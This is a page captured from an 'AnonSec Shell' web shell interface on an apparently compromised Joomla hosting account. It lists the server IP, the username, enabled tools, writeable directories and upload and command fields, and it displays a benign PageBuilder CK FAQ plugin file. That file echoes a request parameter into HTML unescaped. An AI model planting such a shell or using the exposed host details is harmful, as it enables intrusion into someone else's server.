AnonSec Shell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.144
Web Server : Apache
System : Linux webd003.cluster120.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : maitricfuz ( 93378)
PHP Version : 8.4.10
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/maitricfuz/www/new-saint-martin/plugins/pagebuilderck/faq/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/maitricfuz/www/new-saint-martin/plugins/pagebuilderck/faq//faq.php
<?php
/**
 * @copyright	Copyright (C) 2015 Cédric KEIFLIN alias ced1870
 * https://www.template-creator.com
 * https://www.joomlack.fr
 * @license		GNU/GPL
 * */
 
defined('_JEXEC') or die('Restricted access');
jimport('joomla.event.plugin');

class plgPagebuilderckFaq extends \Joomla\CMS\Plugin\CMSPlugin {

	private $context = 'PLG_PAGEBUILDERCK_FAQ';

	private $type = 'faq';

	private $faqs = array();

	function __construct(&$subject, $params) {

		parent::__construct($subject, $params);
	}

	/* 
	 * Construct the Menu Item to drag into the interface
	 *
	 * Return Object with item data
	 */
	public function onPagebuilderckAddItemToMenu() {
		// load the language files of the plugin
		$this->loadLanguage();
		// create the menu item
		$menuitem = new stdClass();
		$menuitem->type = $this->type;
		$menuitem->group = 'text';
		$menuitem->title = \Joomla\CMS\Language\Text::_($this->context . '_MENUITEM_TITLE');
		$menuitem->description = \Joomla\CMS\Language\Text::_($this->context . '_MENUITEM_DESC');
		$menuitem->image = \Joomla\CMS\Uri\Uri::root(true) . '/plugins/pagebuilderck/faq/assets/images/faq.svg';

		return $menuitem;
	}

	/* 
	 * Display the html code for the item to be used into the interface
	 *
	 * Return String the html code
	 */
	public function onPagebuilderckLoadItemContentFaq() {
		$input = \Joomla\CMS\Factory::getApplication()->input;
		$id = $input->get('ckid', '', 'string');
		// ckstyle and inner classes are needed to get the styles from the interface
		?>
		<div id="<?php echo $id; ?>" class="cktype" data-type="faq" onshow="ckInlineEditor('.pbckinlineeditable');">
			<div class="tab_contentfaqstyles ckprops" contentfaqbackgroundpositionend="100" contentfaqbackgrounddirection="topbottom" contentfaqbackgroundimageattachment="scroll" contentfaqbackgroundimagerepeat="no-repeat" contentfaqbackgroundimagesize="auto" contentfaqmargintop="10" contentfaqmarginright="10" contentfaqmarginbottom="20" contentfaqmarginleft="20" contentfaqpaddingleft="20" contentfaqbordertopstyle="solid" contentfaqborderrightstyle="solid" contentfaqborderbottomstyle="solid" contentfaqborderleftcolor="#e8e8e8" contentfaqborderleftsize="5" contentfaqborderleftstyle="solid" contentfaqbordersstyle="solid" contentfaqshadowinset="0" fieldslist="contentfaqbackgroundpositionend,contentfaqbackgrounddirection,contentfaqbackgroundimageattachment,contentfaqbackgroundimagerepeat,contentfaqbackgroundimagesize,contentfaqalignementleft,contentfaqalignementcenter,contentfaqalignementright,contentfaqalignementjustify,contentfaqmargintop,contentfaqmarginright,contentfaqmarginbottom,contentfaqmarginleft,contentfaqpaddingleft,contentfaqbordertopstyle,contentfaqborderrightstyle,contentfaqborderbottomstyle,contentfaqborderleftcolor,contentfaqborderleftsize,contentfaqborderleftstyle,contentfaqbordersstyle,contentfaqshadowinset"></div>
			<div class="tab_activeheadingfaqstyles ckprops" activeheadingfaqbackgroundpositionend="100" activeheadingfaqbackgrounddirection="topbottom" activeheadingfaqbackgroundimageattachment="scroll" activeheadingfaqbackgroundimagerepeat="no-repeat" activeheadingfaqbackgroundimagesize="auto" activeheadingfaqbordertopstyle="solid" activeheadingfaqborderrightstyle="solid" activeheadingfaqborderbottomstyle="solid" activeheadingfaqborderleftstyle="solid" activeheadingfaqbordersstyle="solid" activeheadingfaqshadowinset="0" fieldslist="activeheadingfaqbackgroundpositionend,activeheadingfaqbackgrounddirection,activeheadingfaqbackgroundimageattachment,activeheadingfaqbackgroundimagerepeat,activeheadingfaqbackgroundimagesize,activeheadingfaqalignementleft,activeheadingfaqalignementcenter,activeheadingfaqalignementright,activeheadingfaqalignementjustify,activeheadingfaqbordertopstyle,activeheadingfaqborderrightstyle,activeheadingfaqborderbottomstyle,activeheadingfaqborderleftstyle,activeheadingfaqbordersstyle,activeheadingfaqshadowinset"></div>
			<div class="tab_headingfaqstyles ckprops" headingfaqbackgroundpositionend="100" headingfaqbackgrounddirection="topbottom" headingfaqbackgroundimageattachment="scroll" headingfaqbackgroundimagerepeat="no-repeat" headingfaqbackgroundimagesize="auto" headingfaqmargintop="5" headingfaqmarginright="0" headingfaqmarginbottom="5" headingfaqmarginleft="0" headingfaqpaddings="15" headingfaqborderradius="5" headingfaqbordertopstyle="solid" headingfaqborderrightstyle="solid" headingfaqborderbottomstyle="solid" headingfaqborderleftstyle="solid" headingfaqborderscolor="#d1d1d1" headingfaqborderssize="1" headingfaqbordersstyle="solid" headingfaqshadowinset="0" fieldslist="headingfaqbackgroundpositionend,headingfaqbackgrounddirection,headingfaqbackgroundimageattachment,headingfaqbackgroundimagerepeat,headingfaqbackgroundimagesize,headingfaqalignementleft,headingfaqalignementcenter,headingfaqalignementright,headingfaqalignementjustify,headingfaqmargintop,headingfaqmarginright,headingfaqmarginbottom,headingfaqmarginleft,headingfaqpaddings,headingfaqborderradius,headingfaqbordertopstyle,headingfaqborderrightstyle,headingfaqborderbottomstyle,headingfaqborderleftstyle,headingfaqborderscolor,headingfaqborderssize,headingfaqbordersstyle,headingfaqshadowinset"></div>
			<div class="ckstyle">
			<style>
#<?php echo $id; ?> .faqck-heading {
	border: #d1d1d1 1px solid;
	-moz-border-radius: 5px;
	-o-border-radius: 5px;
	-webkit-border-radius: 5px;
	border-radius: 5px;
	-moz-border-radius: 5px 5px 5px 5px;
	-o-border-radius: 5px 5px 5px 5px;
	-webkit-border-radius: 5px 5px 5px 5px;
	border-radius: 5px 5px 5px 5px;
	margin-top: 5px;
	margin-right: 0px;
	margin-bottom: 5px;
	margin-left: 0px;
	padding: 15px;
}

#<?php echo $id; ?> .faqck-heading.active {
}

#<?php echo $id; ?> .faqck-content {
	border-left: #e8e8e8 5px solid;
	margin-top: 10px;
	margin-right: 10px;
	margin-bottom: 20px;
	margin-left: 20px;
	padding-left: 20px;
}
			</style>
			</div>
			<div id="<?php echo $id; ?>_faq" class="faqsck">
				<div itemscope itemprop="mainEntity" itemtype="https://schema.org/Question">
					<h3 class="faqck-heading"><span class="itemtitleck pbck_contenteditable" itemprop="name" contenteditable="true">Question 1 : Mauris mauris ante ?</span></h3>
					<div itemscope itemprop="acceptedAnswer" itemtype="https://schema.org/Answer">
						<div class="faqck itemcontentck faqck-content pbckinlineeditable" itemprop="text">
							<p>
							Mauris mauris ante, blandit et, ultrices a, suscipit eget, quam. Integer
							ut neque. Vivamus nisi metus, molestie vel, gravida in, condimentum sit
							amet, nunc. Nam a nibh. Donec suscipit eros. Nam mi. Proin viverra leo ut
							odio. Curabitur malesuada. Vestibulum a velit eu ante scelerisque vulputate.
							</p>
						</div>
					</div>
				</div>
				<div itemscope itemprop="mainEntity" itemtype="https://schema.org/Question" contenteditable="true">
					<h3 class="faqck-heading"><span class="itemtitleck pbck_contenteditable" itemprop="name" contenteditable="true">Question 2 : Sed non urna ?</span></h3>
					<div itemscope itemprop="acceptedAnswer" itemtype="https://schema.org/Answer">
						<div class="faqck itemcontentck faqck-content pbckinlineeditable" itemprop="text">
							<p>
							Sed non urna. Donec et ante. Phasellus eu ligula. Vestibulum sit amet
							purus. Vivamus hendrerit, dolor at aliquet laoreet, mauris turpis porttitor
							velit, faucibus interdum tellus libero ac justo. Vivamus non quam. In
							suscipit faucibus urna.
							</p>
						</div>
					</div>
				</div>
			</div>
		</div>

		<?php
	}

	/* 
	 * Load the interface for the item edition
	 *
	 * Return String the html code
	 */
	public function onPagebuilderckLoadItemOptionsFaq() {
		// load the language files of the plugin
		$this->loadLanguage();
		// load the interface for the options
		$tpl = JPATH_SITE . '/plugins/pagebuilderck/faq/layouts/edit_faq.php';
		return $tpl;
	}

	/* 
	 * Display the html code for the item to be used into the frontend page
	 * @param string the item object from simple_html_dom
	 * 
	 * Return String the html code
	 */
	public function onPagebuilderckRenderItemFaq($item) {
		$this->parseForRichSnippet($item->innertext);
		return $item->innertext;
	}

	/* 
	 * Extract the parts of the html code to include in the json-ld
	 * @param string the hml code 
	 * 
	 * Return mixed
	 */
	private function parseForRichSnippet($html) {
		$regexTitle = "#<span\s[^>]*class=\"itemtitleck[^\"]*\"[^>]*>(.*)<\/span>#siU"; // masque de recherche pour le tag
		preg_match_all($regexTitle, $html, $titles);
		$regexContent = "#<div\s[^>]*class=\"[^>]*itemcontentck[^\"]*\"[^>]*>(.*)<\/div>#siU"; // masque de recherche pour le tag
		preg_match_all($regexContent, $html, $contents);

		if (isset($titles[1]) && isset($contents[1])) {
			if (! empty($titles[1]) && ! empty($contents[1])) {
				foreach ($titles[1] as $i => $title) {
					array_push($this->faqs, array("title" => $titles[1][$i], "content" => $contents[1][$i]));
				}
			}
		}
	}

	public function onBeforeRender() {
		if (empty($this->faqs)) return;

		$script = '
	{
		"@context": "https://schema.org",
		"@type": "FAQPage",
		"mainEntity": [
		';
		$scripts = array();
		foreach ($this->faqs as $faq) {
			$scripts[] = '{
			"@type": "Question",
			"name": "' . str_replace('"', '&quot;', $faq['title']) . '",
			"acceptedAnswer": {
				"@type": "Answer",
				"text": "' . str_replace('"', '&quot;', $faq['content']) . '"
			}
		}';
		}
		$script .= implode(',', $scripts) . '
		]
	}';

		// \Joomla\CMS\HTML\HTMLHelper::_('script', 'com_example/example.min.js', array('version' => 'auto', 'relative' => true));
		$doc = \Joomla\CMS\Factory::getDocument();
		$doc->addScriptDeclaration($script, 'application/ld+json');
	}
}

Anon7 - 2022
AnonSec Team